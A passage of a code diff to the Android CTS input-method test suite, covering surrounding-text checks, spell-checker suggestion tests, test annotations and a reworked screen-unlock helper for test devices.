editorInfo.getInitialTextBeforeCursor(REQUEST_LONGEST_AVAILABLE_TEXT,
InputConnection.GET_TEXT_WITH_STYLES);
@@ -274,6 +311,10 @@
final CharSequence textAfterCursor =
editorInfo.getInitialTextAfterCursor(REQUEST_LONGEST_AVAILABLE_TEXT,
InputConnection.GET_TEXT_WITH_STYLES);
+ final SurroundingText surroundingText = editorInfo.getInitialSurroundingText(
+ REQUEST_LONGEST_AVAILABLE_TEXT,
+ REQUEST_LONGEST_AVAILABLE_TEXT,
+ InputConnection.GET_TEXT_WITH_STYLES);
if (expectBeforeCursorLength == null) {
assertNull(textBeforeCursor);
@@ -292,6 +333,18 @@
} else {
assertEquals(expectAfterCursorLength.intValue(), textAfterCursor.length());
}
+
+ if (expectSurroundingText == null) {
+ assertNull(surroundingText);
+ } else {
+ assertTrue(TextUtils.equals(
+ expectSurroundingText.getText(), surroundingText.getText()));
+ assertEquals(expectSurroundingText.getSelectionStart(),
+ surroundingText.getSelectionStart());
+ assertEquals(expectSurroundingText.getSelectionEnd(),
+ surroundingText.getSelectionEnd());
+ assertEquals(expectSurroundingText.getOffset(), surroundingText.getOffset());
+ }
}
private static CharSequence createTestText(int size) {
@@ -310,7 +363,7 @@
return builder;
}
- private static CharSequence concateInitialSurroundingText(EditorInfo info) {
+ private static CharSequence concatInitialSurroundingText(EditorInfo info) {
final CharSequence textBeforeCursor =
nullToEmpty(info.getInitialTextBeforeCursor(REQUEST_LONGEST_AVAILABLE_TEXT,
InputConnection.GET_TEXT_WITH_STYLES));
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
index 116e8a9..febccb7 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -513,6 +513,7 @@
@AppModeFull(reason = "Instant apps cannot hold android.permission.SYSTEM_ALERT_WINDOW")
@Test
+ @FlakyTest(bugId = 176926757)
public void testMultiWindowFocusHandleOnDifferentUiThread() throws Exception {
final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
try (CloseOnce session = CloseOnce.of(new ServiceSession(instrumentation.getContext()));
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
index dd8d070..30300f7 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
@@ -211,7 +211,7 @@
}
private int getBottomOfWindow(View decorView) {
- int viewPos[] = new int[2];
+ final int[] viewPos = new int[2];
decorView.getLocationOnScreen(viewPos);
return decorView.getHeight() + viewPos[1];
}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
index 6656d42..033a471 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
@@ -56,6 +56,9 @@
import android.widget.TextView;
import androidx.annotation.NonNull;
+import androidx.test.filters.MediumTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.PollingCheck;
@@ -63,10 +66,6 @@
import com.android.cts.mockime.ImeSettings;
import com.android.cts.mockime.MockImeSession;
-import androidx.test.filters.MediumTest;
-import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -294,8 +293,8 @@
lastEditTextPos = new Point(curEditPos);
curEditPos = getLocationOnScreenForView(editText);
- assertTrue("Insets visibility & EditText position should persist when " +
- "the above IME window shown",
+ assertTrue("Insets visibility & EditText position should persist when "
+ + "the above IME window shown",
isInsetsVisible(insetsFromActivity[0], WindowInsets.Type.ime())
&& curEditPos.equals(lastEditTextPos));
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceStrictModeTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceStrictModeTest.java
index f498e4a..709f275 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceStrictModeTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceStrictModeTest.java
@@ -24,8 +24,6 @@
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
-import static org.junit.Assert.assertTrue;
-
import android.content.Context;
import android.content.res.Configuration;
import android.inputmethodservice.InputMethodService;
@@ -40,7 +38,6 @@
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
-import com.android.cts.mockime.ImeEvent;
import com.android.cts.mockime.ImeEventStream;
import com.android.cts.mockime.ImeSettings;
import com.android.cts.mockime.MockImeSession;
@@ -152,7 +149,7 @@
* throw strict mode violations.
*/
@Test
- public void testIncorrectContextUseOnImsDerivedDisplayContext() throws Exception{
+ public void testIncorrectContextUseOnImsDerivedDisplayContext() throws Exception {
try (MockImeSession imeSession = MockImeSession.create(
InstrumentationRegistry.getInstrumentation().getContext(),
InstrumentationRegistry.getInstrumentation().getUiAutomation(),
@@ -169,7 +166,7 @@
TIMEOUT);
expectEvent(stream, event -> "onStrictModeViolated".equals(event.getEventName()),
- CHECK_ALL, TIMEOUT);
+ CHECK_ALL, TIMEOUT);
// Verify if obtaining a ViewConfiguration on an InputMethodService derived display
// context throws a strict mode violation.
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
index b0c9434..b2a0287 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
@@ -439,10 +439,10 @@
@Test
public void testCursorAfterLaunchAnotherActivity() throws Exception {
final AtomicReference<EditText> firstEditTextRef = new AtomicReference<>();
- final int NEW_CURSOR_OFFSET = 6;
- final String INITIAL_TEXT = "initial";
- final String COMMIT_MSG = "commit msg";
- final String SECOND_COMMIT_MSG = "second commit msg";
+ final int newCursorOffset = 5;
+ final String initialText = "Initial";
+ final String firstCommitMsg = "First";
+ final String secondCommitMsg = "Second";
try (MockImeSession imeSession = MockImeSession.create(
InstrumentationRegistry.getInstrumentation().getContext(),
@@ -460,7 +460,7 @@
editText.setPrivateImeOptions(marker);
editText.setSingleLine(false);
firstEditTextRef.set(editText);
- editText.setText(INITIAL_TEXT);
+ editText.setText(initialText);
layout.addView(editText);
editText.requestFocus();
return layout;
@@ -472,15 +472,18 @@
// Verify onStartInput when first activity launch
expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
- final ImeCommand commit = imeSession.callCommitText(COMMIT_MSG, 1);
+ final ImeCommand commit = imeSession.callCommitText(firstCommitMsg, 1);
expectCommand(stream, commit, TIMEOUT);
+ TestUtils.waitOnMainUntil(
+ () -> TextUtils.equals(
+ firstEditText.getText(), initialText + firstCommitMsg), TIMEOUT);
// Get current position
int originalSelectionStart = firstEditText.getSelectionStart();
int originalSelectionEnd = firstEditText.getSelectionEnd();
- assertEquals(INITIAL_TEXT.length() + COMMIT_MSG.length(), originalSelectionStart);
- assertEquals(INITIAL_TEXT.length() + COMMIT_MSG.length(), originalSelectionEnd);
+ assertEquals(initialText.length() + firstCommitMsg.length(), originalSelectionStart);
+ assertEquals(initialText.length() + firstCommitMsg.length(), originalSelectionEnd);
// Launch second test activity
final Intent intent = new Intent()
@@ -491,8 +494,11 @@
TestActivity secondActivity = (TestActivity) InstrumentationRegistry
.getInstrumentation().startActivitySync(intent);
+ // Verify onStartInput when second activity launch
+ expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+
// Commit some messages on second activity
- final ImeCommand secondCommit = imeSession.callCommitText(SECOND_COMMIT_MSG, 1);
+ final ImeCommand secondCommit = imeSession.callCommitText(secondCommitMsg, 1);
expectCommand(stream, secondCommit, TIMEOUT);
// Back to first activity
@@ -502,22 +508,29 @@
TestUtils.waitOnMainUntil(() -> secondActivity.getOnBackPressedCallCount() > 0,
TIMEOUT, "Activity#onBackPressed() should be called");
+ TestUtils.runOnMainSync(firstEditText::requestFocus);
+
+ // Verify onStartInput when first activity launch
+ expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+
// Update cursor to a new position
- int newCursorPosition = originalSelectionStart - NEW_CURSOR_OFFSET;
+ int newCursorPosition = originalSelectionStart - newCursorOffset;
final ImeCommand setSelection =
imeSession.callSetSelection(newCursorPosition, newCursorPosition);
expectCommand(stream, setSelection, TIMEOUT);
// Commit to first activity again
- final ImeCommand commitFirstAgain = imeSession.callCommitText(COMMIT_MSG, 1);
+ final ImeCommand commitFirstAgain = imeSession.callCommitText(firstCommitMsg, 1);
expectCommand(stream, commitFirstAgain, TIMEOUT);
+ TestUtils.waitOnMainUntil(
+ () -> TextUtils.equals(firstEditText.getText(), "InitialFirstFirst"), TIMEOUT);
// get new position
int newSelectionStart = firstEditText.getSelectionStart();
int newSelectionEnd = firstEditText.getSelectionEnd();
- assertEquals(newSelectionStart, newCursorPosition + COMMIT_MSG.length());
- assertEquals(newSelectionEnd, newCursorPosition + COMMIT_MSG.length());
+ assertEquals(newSelectionStart, newCursorPosition + firstCommitMsg.length());
+ assertEquals(newSelectionEnd, newCursorPosition + firstCommitMsg.length());
}
}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
index f06ef27..4eb6573 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
@@ -38,6 +38,7 @@
import android.os.IBinder;
import android.os.Process;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import android.text.TextUtils;
import android.view.inputmethod.EditorInfo;
import android.view.inputmethod.InputMethodManager;
@@ -84,6 +85,7 @@
private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+ @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
@Test
public void testInputConnectionStateWhenScreenStateChanges() throws Exception {
final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
index 78987d1..1baa70f 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
@@ -36,9 +36,11 @@
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEventWithKeyValue;
import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.waitForInputViewLayoutStable;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import android.app.AlertDialog;
@@ -71,7 +73,6 @@
import androidx.annotation.ColorInt;
import androidx.annotation.NonNull;
-import androidx.test.filters.FlakyTest;
import androidx.test.filters.MediumTest;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
@@ -82,6 +83,7 @@
import com.android.cts.mockime.ImeEvent;
import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeLayoutInfo;
import com.android.cts.mockime.ImeSettings;
import com.android.cts.mockime.MockImeSession;
@@ -99,6 +101,7 @@
public class KeyboardVisibilityControlTest extends EndToEndImeTestBase {
private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
private static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(1);
+ private static final long LAYOUT_STABLE_THRESHOLD = TimeUnit.SECONDS.toMillis(3);
private static final ComponentName TEST_ACTIVITY = new ComponentName(
"android.view.inputmethod.ctstestapp",
@@ -445,27 +448,31 @@
}
}
+ @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
@Test
public void testImeState_Unspecified_EditorDialogLostFocusAfterUnlocked() throws Exception {
runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_UNSPECIFIED);
}
+ @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
@Test
- @FlakyTest(bugId = 173462056)
public void testImeState_Visible_EditorDialogLostFocusAfterUnlocked() throws Exception {
runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_VISIBLE);
}
+ @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
@Test
public void testImeState_AlwaysVisible_EditorDialogLostFocusAfterUnlocked() throws Exception {
runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
}
+ @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
@Test
public void testImeState_Hidden_EditorDialogLostFocusAfterUnlocked() throws Exception {
runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_HIDDEN);
}
+ @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
@Test
public void testImeState_AlwaysHidden_EditorDialogLostFocusAfterUnlocked() throws Exception {
runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_HIDDEN);
@@ -558,7 +565,6 @@
@AppModeFull
@Test
- @FlakyTest(bugId = 173462056)
public void testImeInvisibleWhenForceStopPkgProcess_Full() throws Exception {
runImeVisibilityTestWhenForceStopPackage(false /* instant */);
}
@@ -636,13 +642,21 @@
final ImeEventStream stream = imeSession.openEventStream();
final String marker = getTestMarker();
+ // Make sure that MockIme isn't shown in the initial state.
+ final ImeLayoutInfo lastLayout =
+ waitForInputViewLayoutStable(stream, LAYOUT_STABLE_THRESHOLD);
+ assertNull(lastLayout);
+ expectImeInvisible(TIMEOUT);
+ // Flush all the events happened before launching the test Activity.
+ stream.skipAll();
+
// Launch test activity with focusing an editor from remote process and expect the
// IME is visible.
try (AutoCloseable closable = launchRemoteActivitySync(TEST_ACTIVITY, instant, TIMEOUT,
Map.of(EXTRA_KEY_PRIVATE_IME_OPTIONS, marker))) {
expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
- expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+ expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
View.VISIBLE, TIMEOUT);
expectImeVisible(TIMEOUT);
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt b/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
index 0c40014..b5ca08a 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
@@ -15,31 +15,44 @@
*/
package android.view.inputmethod.cts
+import android.app.Instrumentation
import android.content.Context
import android.provider.Settings
import android.text.style.SuggestionSpan
+import android.text.style.SuggestionSpan.FLAG_GRAMMAR_ERROR
+import android.text.style.SuggestionSpan.FLAG_MISSPELLED
import android.view.ViewGroup.LayoutParams.MATCH_PARENT
import android.view.ViewGroup.LayoutParams.WRAP_CONTENT
import android.view.inputmethod.cts.util.EndToEndImeTestBase
import android.view.inputmethod.cts.util.InputMethodVisibilityVerifier
import android.view.inputmethod.cts.util.TestActivity
-import android.view.inputmethod.cts.util.TestUtils
+import android.view.inputmethod.cts.util.TestUtils.runOnMainSync
+import android.view.inputmethod.cts.util.TestUtils.waitOnMainUntil
import android.view.inputmethod.cts.util.UnlockScreenRule
import android.view.textservice.SpellCheckerSubtype
-import android.view.textservice.SuggestionsInfo
+import android.view.textservice.SuggestionsInfo.RESULT_ATTR_DONT_SHOW_UI_FOR_SUGGESTIONS
+import android.view.textservice.SuggestionsInfo.RESULT_ATTR_IN_THE_DICTIONARY
+import android.view.textservice.SuggestionsInfo.RESULT_ATTR_LOOKS_LIKE_GRAMMAR_ERROR
+import android.view.textservice.SuggestionsInfo.RESULT_ATTR_LOOKS_LIKE_TYPO
import android.view.textservice.TextServicesManager
import android.widget.EditText
import android.widget.LinearLayout
+import androidx.annotation.UiThread
import androidx.test.filters.MediumTest
import androidx.test.platform.app.InstrumentationRegistry
import androidx.test.runner.AndroidJUnit4
+import androidx.test.uiautomator.By
+import androidx.test.uiautomator.UiDevice
+import androidx.test.uiautomator.Until
import com.android.compatibility.common.util.CtsTouchUtils
import com.android.compatibility.common.util.SettingsStateChangerRule
+import com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand
import com.android.cts.mockime.MockImeSession
import com.android.cts.mockspellchecker.MockSpellChecker
import com.android.cts.mockspellchecker.MockSpellCheckerClient
import com.android.cts.mockspellchecker.MockSpellCheckerProto
import com.android.cts.mockspellchecker.MockSpellCheckerProto.MockSpellCheckerConfiguration
+import com.google.common.truth.Truth.assertThat
import org.junit.Assume
import org.junit.Before
import org.junit.Rule
@@ -53,7 +66,9 @@
@RunWith(AndroidJUnit4::class)
class SpellCheckerTest : EndToEndImeTestBase() {
- private val context: Context = InstrumentationRegistry.getInstrumentation().getTargetContext()
+ private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+ private val context: Context = instrumentation.getTargetContext()
+ private val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
@Rule
fun unlockScreenRule() = UnlockScreenRule()
@@ -76,28 +91,72 @@
}
@Test
- fun misspelled() {
+ fun misspelled_easyCorrect() {
+ val uniqueSuggestion = "s618397" // "s" + a random number
val configuration = MockSpellCheckerConfiguration.newBuilder()
.addSuggestionRules(
MockSpellCheckerProto.SuggestionRule.newBuilder()
.setMatch("match")
- .addSuggestions("suggestion")
- .setAttributes(SuggestionsInfo.RESULT_ATTR_LOOKS_LIKE_TYPO)
+ .addSuggestions(uniqueSuggestion)
+ .setAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO)
).build()
MockImeSession.create(context).use { session ->
MockSpellCheckerClient.create(context, configuration).use {
val (_, editText) = startTestActivity()
- CtsTouchUtils.emulateTapOnViewCenter(
- InstrumentationRegistry.getInstrumentation(), null, editText)
- TestUtils.waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+ CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+ waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
session.callCommitText("match", 1)
session.callCommitText(" ", 1)
- TestUtils.waitOnMainUntil({
- getSuggestionSpans(editText).find {
- (it.flags and SuggestionSpan.FLAG_MISSPELLED) != 0
- } != null
+ waitOnMainUntil({
+ findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) != null
}, TIMEOUT)
+ // Tap inside 'match'.
+ emulateTapAtOffset(editText, 2)
+ // Wait until the cursor moves inside 'match'.
+ waitOnMainUntil({ isCursorInside(editText, 1, 4) }, TIMEOUT)
+ // Wait for the suggestion to come up, and click it.
+ uiDevice.wait(Until.findObject(By.text(uniqueSuggestion)), TIMEOUT).also {
+ assertThat(it).isNotNull()
+ }.click()
+ // Verify that the text ('match') is replaced with the suggestion.
+ waitOnMainUntil({ "$uniqueSuggestion " == editText.text.toString() }, TIMEOUT)
+ // The SuggestionSpan should be removed.
+ waitOnMainUntil({
+ findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) == null
+ }, TIMEOUT)
+ }
+ }
+ }
+
+ @Test
+ fun misspelled_noEasyCorrect() {
+ val uniqueSuggestion = "s974355" // "s" + a random number
+ val configuration = MockSpellCheckerConfiguration.newBuilder()
+ .addSuggestionRules(
+ MockSpellCheckerProto.SuggestionRule.newBuilder()
+ .setMatch("match")
+ .addSuggestions(uniqueSuggestion)
+ .setAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO
+ or RESULT_ATTR_DONT_SHOW_UI_FOR_SUGGESTIONS)
+ ).build()
+ MockImeSession.create(context).use { session ->
+ MockSpellCheckerClient.create(context, configuration).use {
+ val (_, editText) = startTestActivity()
+ CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+ waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+ InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
+ session.callCommitText("match", 1)
+ session.callCommitText(" ", 1)
+ waitOnMainUntil({
+ findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) != null
+ }, TIMEOUT)
+ // Tap inside 'match'.
+ emulateTapAtOffset(editText, 2)
+ // Wait until the cursor moves inside 'match'.
+ waitOnMainUntil({ isCursorInside(editText, 1, 4) }, TIMEOUT)
+ // Verify that the suggestion is not shown.
+ assertThat(uiDevice.wait(Until.gone(By.text(uniqueSuggestion)), TIMEOUT)).isTrue()
}
}
}
@@ -109,32 +168,108 @@
MockSpellCheckerProto.SuggestionRule.newBuilder()
.setMatch("match")
.addSuggestions("suggestion")
- .setAttributes(SuggestionsInfo.RESULT_ATTR_LOOKS_LIKE_GRAMMAR_ERROR)
+ .setAttributes(RESULT_ATTR_LOOKS_LIKE_GRAMMAR_ERROR)
).build()
MockImeSession.create(context).use { session ->
MockSpellCheckerClient.create(context, configuration).use {
val (_, editText) = startTestActivity()
- CtsTouchUtils.emulateTapOnViewCenter(
- InstrumentationRegistry.getInstrumentation(), null, editText)
- TestUtils.waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+ CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+ waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
session.callCommitText("match", 1)
session.callCommitText(" ", 1)
- TestUtils.waitOnMainUntil({
- getSuggestionSpans(editText).find {
- (it.flags and SuggestionSpan.FLAG_GRAMMAR_ERROR) != 0
- } != null
+ waitOnMainUntil({
+ findSuggestionSpanWithFlags(editText, FLAG_GRAMMAR_ERROR) != null
}, TIMEOUT)
}
}
}
+ @Test
+ fun performSpellCheck() {
+ val configuration = MockSpellCheckerConfiguration.newBuilder()
+ .addSuggestionRules(
+ MockSpellCheckerProto.SuggestionRule.newBuilder()
+ .setMatch("match")
+ .addSuggestions("suggestion")
+ .setAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO)
+ ).build()
+ MockImeSession.create(context).use { session ->
+ MockSpellCheckerClient.create(context, configuration).use { client ->
+ val stream = session.openEventStream()
+ val (_, editText) = startTestActivity()
+ CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+ waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+ InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
+ session.callCommitText("match", 1)
+ session.callCommitText(" ", 1)
+ waitOnMainUntil({
+ findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) != null
+ }, TIMEOUT)
+ // The word is now in dictionary. The next spell check should remove the misspelled
+ // SuggestionSpan.
+ client.updateConfiguration(MockSpellCheckerConfiguration.newBuilder()
+ .addSuggestionRules(
+ MockSpellCheckerProto.SuggestionRule.newBuilder()
+ .setMatch("match")
+ .setAttributes(RESULT_ATTR_IN_THE_DICTIONARY)
+ ).build())
+ val command = session.callPerformSpellCheck()
+ expectCommand(stream, command, TIMEOUT)
+ waitOnMainUntil({
+ findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) == null
+ }, TIMEOUT)
+ }
+ }
+ }
+
+ @Test
+ fun textServicesManagerApi() {
+ val tsm = context.getSystemService(TextServicesManager::class.java)!!
+ assertThat(tsm).isNotNull()
+ assertThat(tsm!!.isSpellCheckerEnabled()).isTrue()
+ val spellCheckerInfo = tsm.getCurrentSpellChecker()
+ assertThat(spellCheckerInfo).isNotNull()
+ assertThat(spellCheckerInfo!!.getPackageName()).isEqualTo(
+ "com.android.cts.mockspellchecker")
+ assertThat(spellCheckerInfo!!.getSubtypeCount()).isEqualTo(1)
+ val spellCheckerSubtypeAllowImplicitlySelected = tsm.getCurrentSpellCheckerSubtype(true)
+ assertThat(spellCheckerSubtypeAllowImplicitlySelected).isNotNull()
+ assertThat(spellCheckerSubtypeAllowImplicitlySelected!!.getLanguageTag()).isEqualTo("en-US")
+ assertThat(spellCheckerSubtypeAllowImplicitlySelected!!.getLocale()).isEqualTo("en")
+ assertThat(spellCheckerSubtypeAllowImplicitlySelected!!.getExtraValue()).isEmpty()
+ val spellCheckerSubtypeNotAllowImplicitlySelected =
+ tsm.getCurrentSpellCheckerSubtype(false)
+ assertThat(spellCheckerSubtypeNotAllowImplicitlySelected).isNull()
+ assertThat(tsm.getEnabledSpellCheckersList()!!.size).isAtLeast(1)
+ assertThat(tsm.getEnabledSpellCheckersList()!!.map { it.getPackageName() })
+ .contains("com.android.cts.mockspellchecker")
+ }
+
+ private fun findSuggestionSpanWithFlags(editText: EditText, flags: Int): SuggestionSpan? =
+ getSuggestionSpans(editText).find { (it.flags and flags) == flags }
+
private fun getSuggestionSpans(editText: EditText): Array<SuggestionSpan> {
val editable = editText.text
val spans = editable.getSpans(0, editable.length, SuggestionSpan::class.java)
return spans
}
+ private fun emulateTapAtOffset(editText: EditText, offset: Int) {
+ var x = 0
+ var y = 0
+ runOnMainSync {
+ x = editText.layout.getPrimaryHorizontal(offset).toInt()
+ val line = editText.layout.getLineForOffset(offset)
+ y = (editText.layout.getLineTop(line) + editText.layout.getLineBottom(line)) / 2
+ }
+ CtsTouchUtils.emulateTapOnView(instrumentation, null, editText, x, y)
+ }
+
+ @UiThread
+ private fun isCursorInside(editText: EditText, start: Int, end: Int): Boolean =
+ start <= editText.selectionStart && editText.selectionEnd <= end
+
private fun startTestActivity(): Pair<TestActivity, EditText> {
var editText: EditText? = null
val activity = TestActivity.startSync { activity: TestActivity? ->
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
index f1bfe77..cc61682 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
@@ -20,14 +20,19 @@
import static com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow;
import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static org.junit.Assert.assertFalse;
+
import android.app.Instrumentation;
+import android.app.KeyguardManager;
import android.content.Context;
import android.os.PowerManager;
+import android.view.KeyEvent;
import androidx.annotation.NonNull;
import androidx.test.platform.app.InstrumentationRegistry;
import com.android.compatibility.common.util.CommonTestUtils;
+import com.android.compatibility.common.util.SystemUtil;
import java.util.concurrent.TimeoutException;
import java.util.concurrent.atomic.AtomicBoolean;
@@ -143,14 +148,27 @@
}
/**
- * Call a command to unlock screen.
+ * Simulates a {@link KeyEvent#KEYCODE_MENU} event to unlock screen.
*
- * Note that this method is originated from
- * {@link android.server.wm.UiDeviceUtils#pressUnlockButton()}, which is only valid for
- * unlocking insecure keyguard for test automation.
+ * This method will retry until {@link KeyguardManager#isKeyguardLocked()} return {@code false}
+ * in given timeout.
+ *
+ * Note that {@link KeyguardManager} is not accessible in instant mode due to security concern,
+ * so this method always throw exception with instant app.
*/
public static void unlockScreen() throws Exception {
- runShellCommand("input keyevent KEYCODE_MENU");
+ final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ final Context context = instrumentation.getContext();
+ final KeyguardManager kgm = context.getSystemService(KeyguardManager.class);
+
+ assertFalse("This method is currently not supported in instant apps.",
+ context.getPackageManager().isInstantApp());
+ CommonTestUtils.waitUntil("Device does not unlock after 3 seconds", 3,
+ () -> {
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> instrumentation.sendKeyDownUpSync((KeyEvent.KEYCODE_MENU)));
+ return kgm != null && !kgm.isKeyguardLocked();
+ });
}
/**
diff --git a/tests/inputmethod/testapp/Android.bp b/tests/inputmethod/testapp/Android.bp
index 1d55077..19fb953 100644
--- a/tests/inputmethod/testapp/Android.bp
+++ b/tests/inputmethod/testapp/Android.bp
@@ -25,6 +25,7 @@
compile_multilib: "both",
static_libs: [
"androidx.annotation_annotation",
+ "compatibility-device-util-axt",
],
srcs: [
"src/**/*.java",
diff --git a/tests/inputmethod/testapp/AndroidManifest.xml b/tests/inputmethod/testapp/AndroidManifest.xml
index 0f47420..226f27d 100644
--- a/tests/inputmethod/testapp/AndroidManifest.xml
+++ b/tests/inputmethod/testapp/AndroidManifest.xml
@@ -26,7 +26,8 @@
<activity
android:name=".MainActivity"
android:exported="true"
- android:label="CtsInputMethodStandaloneTestActivity">
+ android:label="CtsInputMethodStandaloneTestActivity"
+ android:windowSoftInputMode="stateAlwaysHidden">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
</intent-filter>
diff --git a/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java b/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
index 59c8528..2b35554 100644
--- a/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
